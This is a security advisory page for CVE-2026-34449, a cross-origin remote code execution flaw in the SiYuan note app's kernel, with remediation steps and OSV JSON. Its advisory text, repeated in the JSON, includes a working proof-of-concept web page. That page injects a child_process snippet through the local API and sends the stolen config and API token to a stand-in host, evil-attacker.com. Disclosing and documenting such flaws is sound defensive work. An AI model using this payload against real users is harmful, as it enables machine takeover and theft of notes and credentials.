CVE-2026-34449: Github.com/siyuan note/siyuan/kernel Remote Code Execution Vulnerability

CRITICAL
Advisory Identifier: GHSA-68p4-j234-43mv
CVSS 9.6
CWE-942
Published
Advisory Summary

CVE-2026-34449 is a CRITICAL (CVSS 9.6) remote code execution vulnerability (CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains) affecting Github.com/siyuan note/siyuan/kernel libraries in the Go ecosystem. The issue involves siyuan is vulnerable to cross-origin rce via permissive cors policy and javascript snippet injection. Remediation is available by upgrading affected packages to version 3.6.2.

CVE-2026-34449 at a Glance

CVE Identifier CVE-2026-34449
GHSA Identifier GHSA-68p4-j234-43mv
Severity CRITICAL
CVSS v3.1 Base Score 9.6
CWE Classification CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains
Affected Product Github.com/siyuan note/siyuan/kernel
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 9.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction Required (UI:R)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-34449

To remediate this vulnerability, upgrade all affected Github.com/siyuan note/siyuan/kernel dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/siyuan-note/siyuan/kernel fixed: 3.6.2
Upgrade github.com/siyuan-note/siyuan/kernel to 3.6.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-34449, inspect your project dependencies for Github.com/siyuan note/siyuan/kernel:

inspect dependencies for github.com/siyuan-note/siyuan/kernel

Analyze the terminal output to locate any version of Github.com/siyuan note/siyuan/kernel in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.6.2), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains, where the product uses a web-client protection mechanism such as a content security policy (csp) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate. In Github.com/siyuan note/siyuan/kernel, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary A malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (`Access-Control-Allow-Origin: *` + `Access-Control-Allow-Private-Network: true`) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running. ### Details **Vulnerable files:** - `kernel/server/serve.go`, lines 960-963 — CORS middleware - `kernel/api/snippet.go`, lines 93-128 — snippet injection endpoint **Root cause:** The CORS middleware unconditionally sets: ``` Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true Access-Control-Allow-Private-Network: true ``` The `Access-Control-Allow-Private-Network: true` header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with `Access-Control-Allow-Origin: *`, any website on the internet can make authenticated cross-origin requests to the SiYuan API at `127.0.0.1:6806`. The auth middleware at `kernel/model/session.go:251-280` checks the `Origin` header, but this check is bypassed because the browser sends the session cookie (set on `127.0.0.1`) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions. **Attack chain:** 1. User visits `https://evil-attacker.com` while SiYuan desktop is running 2. Malicious JS sends CORS preflight to `http://127.0.0.1:6806` — SiYuan responds with permissive CORS headers 3. Browser sends actual POST to `/api/snippet/setSnippet` with the user's session cookie 4. SiYuan accepts the request and saves a malicious JS snippet 5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution ### PoC **Malicious webpage (hosted on any domain):** ```html <!DOCTYPE html> <html> <body> <h1>Innocent looking page</h1> <script> // Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js fetch('http://127.0.0.1:6806/api/snippet/setSnippet', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'}, body: JSON.stringify({ snippets: [{ id: 'exploit-' + Date.now(), name: 'system-update', type: 'js', content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")', enabled: true }] }) }).then(r => r.json()).then(d => { console.log('Snippet injected:', d); }); // Step 2 (optional): Exfiltrate API token and all notes fetch('http://127.0.0.1:6806/api/system/getConf', { method: 'POST', credentials: 'include', headers: {'Content-Type': 'application/json'} }).then(r => r.json()).then(d => { // Send API token and config to attacker server fetch('https://evil-attacker.com/collect', { method: 'POST', body: JSON.stringify(d.data) }); }); </script> </body> </html> ``` **Verification steps:** 1. Start SiYuan desktop (or Docker with `SIYUAN_ACCESS_AUTH_CODE` set) 2. Login to SiYuan in a browser to establish a session cookie 3. In the same browser, navigate to the malicious page 4. Verify snippet was injected: ```bash curl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \ -H "Content-Type: application/json" \ -b <session-cookie> \ -d '{"type":"all","enabled":2}' ``` **Tested and confirmed on SiYuan v3.6.1 (Docker).** The CORS preflight returns permissive headers, the snippet is injected from `Origin: https://evil-attacker.com`, and the API token is exfiltrated — all in a single page load. ### Impact - **Remote Code Execution:** Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges. - **Data exfiltration:** The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers. - **No user interaction beyond browsing:** The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs. - **Affects all desktop users:** SiYuan desktop runs on `127.0.0.1:6806` by default. The `Access-Control-Allow-Private-Network: true` header explicitly bypasses Chrome's Private Network Access protection that would otherwise block this attack. - **Persistence:** The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.

CVE-2026-34449 Affected Github.com/siyuan note/siyuan/kernel Versions

1 component(s)
Fixed Versions:
3.6.2
Product / Package Ecosystem Affected Versions Fixed Version
github.com/siyuan-note/siyuan/kernel
Go
< 3.6.2
3.6.2

References

Frequently Asked Questions

What is CVE-2026-34449?
CVE-2026-34449 is a security vulnerability in Github.com/siyuan note/siyuan/kernel involving SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains.
Which Github.com/siyuan note/siyuan/kernel versions are affected?
Affected versions include releases prior to 3.6.2 across affected packages: github.com/siyuan-note/siyuan/kernel.
What version fixes CVE-2026-34449?
Upgrading to 3.6.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/siyuan-note/siyuan/kernel affected?
Yes, github.com/siyuan-note/siyuan/kernel is affected in releases prior to 3.6.2. Upgrade your dependency to 3.6.2 or later.
What is the CVSS score of CVE-2026-34449?
CVE-2026-34449 has a CVSS v3.1 base score of 9.6 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H.
What CWE is associated with CVE-2026-34449?
CVE-2026-34449 is classified under CWE-942: Permissive Cross-domain Security Policy with Untrusted Domains (The product uses a web-client protection mechanism such as a Content Security Policy (CSP) or cross-domain policy file, but the policy includes untrusted domains with which the web client is allowed to communicate.).
How can I check Go dependencies for CVE-2026-34449?
Run the dependency tree command: 'inspect dependencies for github.com/siyuan-note/siyuan/kernel'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-68p4-j234-43mv",
  "modified" : "2026-04-06T16:40:06Z",
  "published" : "2026-03-31T23:29:00Z",
  "aliases" : [ "CVE-2026-34449" ],
  "summary" : "SiYuan is Vulnerable to Cross-Origin RCE via Permissive CORS Policy and JavaScript Snippet Injection",
  "details" : "### Summary\n\nA malicious website can achieve Remote Code Execution (RCE) on any desktop running SiYuan by exploiting the permissive CORS policy (`Access-Control-Allow-Origin: *` + `Access-Control-Allow-Private-Network: true`) to inject a JavaScript snippet via the API. The injected snippet executes in Electron's Node.js context with full OS access the next time the user opens SiYuan's UI. No user interaction is required beyond visiting the malicious website while SiYuan is running.\n\n### Details\n\n**Vulnerable files:**\n- `kernel/server/serve.go`, lines 960-963 — CORS middleware\n- `kernel/api/snippet.go`, lines 93-128 — snippet injection endpoint\n\n**Root cause:** The CORS middleware unconditionally sets:\n```\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Credentials: true\nAccess-Control-Allow-Private-Network: true\n```\n\nThe `Access-Control-Allow-Private-Network: true` header explicitly opts into Chrome's Private Network Access specification, telling the browser that external websites are permitted to access this localhost service. Combined with `Access-Control-Allow-Origin: *`, any website on the internet can make authenticated cross-origin requests to the SiYuan API at `127.0.0.1:6806`.\n\nThe auth middleware at `kernel/model/session.go:251-280` checks the `Origin` header, but this check is bypassed because the browser sends the session cookie (set on `127.0.0.1`) along with the cross-origin request, and the server validates the cookie before reaching the Origin check for unauthenticated sessions.\n\n**Attack chain:**\n1. User visits `https://evil-attacker.com` while SiYuan desktop is running\n2. Malicious JS sends CORS preflight to `http://127.0.0.1:6806` — SiYuan responds with permissive CORS headers\n3. Browser sends actual POST to `/api/snippet/setSnippet` with the user's session cookie\n4. SiYuan accepts the request and saves a malicious JS snippet\n5. The snippet executes in Electron's renderer process with Node.js integration, achieving arbitrary code execution\n\n### PoC\n\n**Malicious webpage (hosted on any domain):**\n\n```html\n<!DOCTYPE html>\n<html>\n<body>\n<h1>Innocent looking page</h1>\n<script>\n// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js\nfetch('http://127.0.0.1:6806/api/snippet/setSnippet', {\n  method: 'POST',\n  credentials: 'include',\n  headers: {'Content-Type': 'application/json'},\n  body: JSON.stringify({\n    snippets: [{\n      id: 'exploit-' + Date.now(),\n      name: 'system-update',\n      type: 'js',\n      content: 'require(\"child_process\").exec(\"id > /tmp/siyuan-rce-proof\")',\n      enabled: true\n    }]\n  })\n}).then(r => r.json()).then(d => {\n  console.log('Snippet injected:', d);\n});\n\n// Step 2 (optional): Exfiltrate API token and all notes\nfetch('http://127.0.0.1:6806/api/system/getConf', {\n  method: 'POST',\n  credentials: 'include',\n  headers: {'Content-Type': 'application/json'}\n}).then(r => r.json()).then(d => {\n  // Send API token and config to attacker server\n  fetch('https://evil-attacker.com/collect', {\n    method: 'POST',\n    body: JSON.stringify(d.data)\n  });\n});\n</script>\n</body>\n</html>\n```\n\n**Verification steps:**\n\n1. Start SiYuan desktop (or Docker with `SIYUAN_ACCESS_AUTH_CODE` set)\n2. Login to SiYuan in a browser to establish a session cookie\n3. In the same browser, navigate to the malicious page\n4. Verify snippet was injected:\n```bash\ncurl -X POST http://127.0.0.1:6806/api/snippet/getSnippet \\\n  -H \"Content-Type: application/json\" \\\n  -b <session-cookie> \\\n  -d '{\"type\":\"all\",\"enabled\":2}'\n```\n\n**Tested and confirmed on SiYuan v3.6.1 (Docker).** The CORS preflight returns permissive headers, the snippet is injected from `Origin: https://evil-attacker.com`, and the API token is exfiltrated — all in a single page load.\n\n### Impact\n\n- **Remote Code Execution:** Any website can execute arbitrary OS commands on the user's machine via Electron's Node.js integration. The attacker gains full control with the user's privileges.\n- **Data exfiltration:** The attacker can read all notes, configuration (including API tokens), and workspace data via the API before the RCE payload even triggers.\n- **No user interaction beyond browsing:** The victim only needs to visit a malicious/compromised webpage while SiYuan is running. No clicks, no downloads, no permissions dialogs.\n- **Affects all desktop users:** SiYuan desktop runs on `127.0.0.1:6806` by default. The `Access-Control-Allow-Private-Network: true` header explicitly bypasses Chrome's Private Network Access protection that would otherwise block this attack.\n- **Persistence:** The injected JS snippet is saved to disk and executes every time SiYuan loads, surviving restarts.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/siyuan-note/siyuan/kernel"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.6.2"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 3.6.1"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-68p4-j234-43mv"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-34449"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/issues/17246"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/siyuan-note/siyuan"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/siyuan-note/siyuan/releases/tag/v3.6.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-942" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-31T23:29:00Z",
    "nvd_published_at" : "2026-03-31T22:16:19Z"
  }
}